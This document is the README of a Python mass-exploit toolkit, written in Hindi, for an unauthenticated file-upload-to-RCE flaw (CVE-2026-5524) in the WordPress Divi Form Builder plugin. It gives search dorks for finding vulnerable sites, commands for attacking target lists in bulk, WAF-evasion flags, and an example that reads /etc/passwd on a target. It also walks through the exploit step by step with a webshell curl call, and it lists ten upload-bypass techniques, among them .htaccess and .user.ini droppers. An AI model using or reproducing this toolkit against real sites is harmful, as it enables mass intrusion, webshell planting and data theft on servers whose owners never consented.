
CVE-2026-5524 के लिए Python मास-एक्सप्लॉइट टूलकिट, जो WordPress Divi Form Builder प्लगइन में एक अनऑथेंटिकेटेड फ़ाइल अपलोड RCE है, जिसमें webshell अपलोड और कमांड निष्पादन शामिल है।
CVE-2026-5524 के लिए मास एक्सप्लॉइट टूलकिट, जो WordPress प्लगइन Divi Form Builder <= 5.1.8 में एक अनधिकृत मनमाना फ़ाइल अपलोड भेद्यता है जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाती है।
| Field | Value |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | Divi Form Builder <= 5.1.8 |
| Patched | 5.1.9 |
| Type | Unauthenticated File Upload to RCE |
| Researcher | 0xd4rk5id3 - EnvoraSec |
WordPress के लिए Divi Form Builder प्लगइन में एक अनधिकृत मनमाना फ़ाइल अपलोड भेद्यता है। do_image_upload() हैंडलर उपयोगकर्ता-नियंत्रित acceptFileTypes POST पैरामीटर को सीधे फ़ाइल एक्सटेंशन को मान्य करने के लिए उपयोग किए जाने वाले रेगुलर एक्सप्रेशन में पास करता है। phtml जैसा मान प्रदान करके, एक हमलावर प्लगइन के .htaccess नियम को बायपास कर सकता है जो केवल .php एक्सटेंशन को ब्लॉक करता है और PHP-निष्पादन योग्य एक्सटेंशन (.phtml, .phar, .php5, .php7, और समान) के साथ एक वेबशेल अपलोड कर सकता है।
एक बार फ़ाइल /wp-content/uploads/de_fb_uploads/ में पहुँच जाने के बाद, Apache इसे PHP के रूप में निष्पादित करता है, जिससे हमलावर को वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड एक्ज़ीक्यूशन प्राप्त होता है।
यह समस्या Divi Form Builder 5.1.9 में ठीक कर दी गई है।
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
आवश्यकताएँ: Linux, macOS, या WSL पर Python 3.8 या नया।
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
WAF (NinjaFirewall, Wordfence, ModSecurity) के पीछे या कठोर Apache या nginx कॉन्फ़िगरेशन वाले लक्ष्यों के लिए।
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
सफल अपलोड के बाद, स्क्रिप्ट तुरंत एक कमांड निष्पादित कर सकती है या इंटरैक्टिव शेल में प्रवेश कर सकती है।
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Description |
|---|---|
-u URL | एकल लक्ष्य URL |
-l FILE | लक्ष्य सूची वाली फ़ाइल, प्रति पंक्ति एक URL |
-t N | समवर्ती थ्रेड्स की संख्या (डिफ़ॉल्ट 10) |
--timeout N | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट 15) |
-o FILE | परिणामों को JSONL आउटपुट फ़ाइल में सहेजें |
--proxy URL | HTTP प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें |
--nonce HASH | मैन्युअल रूप से प्रदान किया गया nonce उपयोग करें, ऑटोडिटेक्शन छोड़ें |
--ext EXT | पूरी बायपास सूची के बजाय एकल एक्सटेंशन बाध्य करें |
--shell | सफलता पर इंटरैक्टिव RCE शेल में प्रवेश करें (केवल एकल लक्ष्य) |
--cmd CMD | लक्ष्य पर एक कमांड निष्पादित करें, फिर बाहर निकलें |
--shell-file FILE | अंतर्निहित के बजाय कस्टम शेल पेलोड अपलोड करें |
--no-verify | अपलोड के बाद RCE सत्यापन चरण छोड़ें |
--strict-verify | झूठे सकारात्मक को फ़िल्टर करने के लिए पुष्टि करें कि शेल URL HTTP 200 लौटाता है |
--user-ini | PHP-FPM वातावरण के लिए .user.ini ड्रॉपर अपलोड करें |
--htaccess | Apache वातावरण के लिए .htaccess पुनः-सक्षमकर्ता अपलोड करें |
--aggressive | प्रत्येक उपलब्ध बायपास तकनीक सक्षम करें |
--null-byte | null byte और डबल एक्सटेंशन प्रयास शामिल करें |
--path-traversal | /uploads/YYYY/MM/ उपनिर्देशिकाओं में अपलोड करने का प्रयास करें |
--debug | निदान के लिए कच्ची HTTP प्रतिक्रियाएँ प्रिंट करें |
भेद्य हैंडलर बिना सैनिटाइज़ेशन के उपयोगकर्ता इनपुट से एक regex बनाता है।
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
acceptFileTypes=phtml भेजकर, परिणामी regex /\.(phtml)$/i .phtml में समाप्त होने वाले फ़ाइलनामों से मेल खाता है, भले ही प्लगइन की अपनी .htaccess फ़ाइल केवल .php एक्सटेंशन को ब्लॉक करती है। Apache तब अपलोड की गई फ़ाइल को PHP के रूप में निष्पादित करता है, जिससे रिमोट कोड एक्ज़ीक्यूशन उत्पन्न होता है।
उस पृष्ठ को क्रॉल करें जिसमें Divi Form Builder फ़ॉर्म एम्बेड है (/, /contact, /quote, आदि)। Varnish, WP Rocket, और अन्य पृष्ठ कैश को हराने के लिए ?nocache=<random> पैरामीटर जोड़ें जो अन्यथा एक पुराना nonce प्रदान करेंगे।
स्थानीयकृत JavaScript ऑब्जेक्ट से fb_nonce मान निकालें:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
/wp-admin/admin-ajax.php पर एक multipart फ़ॉर्म POST करें:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
JSON प्रतिक्रिया से फ़ाइल URL पढ़ें:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
base64 एन्कोडेड कमांड के साथ शेल का अनुरोध करें:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Technique | Targets |
|---|---|---|
| 1 | वैकल्पिक PHP एक्सटेंशन .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | प्लगइन .htaccess नियम जो केवल .php को ब्लॉक करता है |
| 2 | केस भिन्नता .PHTML, .PHP5, .PhTmL | केस-संवेदनशील WAF हस्ताक्षर (NinjaFirewall) |
| 3 | डबल एक्सटेंशन .phtml.jpg, .php.jpg | Apache mod_mime कंटेंट-नेगोशिएशन विचित्रताएँ |
| 4 | Null byte .php%00.jpg, .phtml%00.txt | पुराने PHP संस्करण (5.3.4 से कम) और कुछ पार्सर |
| 5 | अनुगामी स्थान या बिंदु .php , .php. | Windows IIS और पुराने Apache संस्करण |
| 6 | Content-Type स्पूफिंग application/octet-stream | WAF जो multipart Content-Type हेडर पर कुंजी करते हैं |
| 7 | एक वास्तविक .htaccess अपलोड करें जो .gif, .png, .jpg, .txt, .html, आदि के लिए PHP पुनः सक्षम करता है | AllowOverride All वाले Apache सर्वर |
| 8 | auto_prepend_file के साथ एक .user.ini अपलोड करें | PHP-FPM वातावरण |
| 9 | multipart boundary हेरफेर के माध्यम से फ़ाइलनाम इंजेक्शन | प्रॉक्सी और WAF जो अनुरोध बॉडी को पुनः पार्स करते हैं |
| 10 | फ़ाइलनाम में पथ ट्रैवर्सल ../shell.phtml | प्लगइन निर्देशिका प्रतिबंध |
स्क्रिप्ट प्रत्येक तकनीक को प्राथमिकता क्रम में आज़माती है और, जब --aggressive सेट होता है, तो पहले अपलोड के सफलता की रिपोर्ट के बाद भी प्रत्येक को आज़माती है।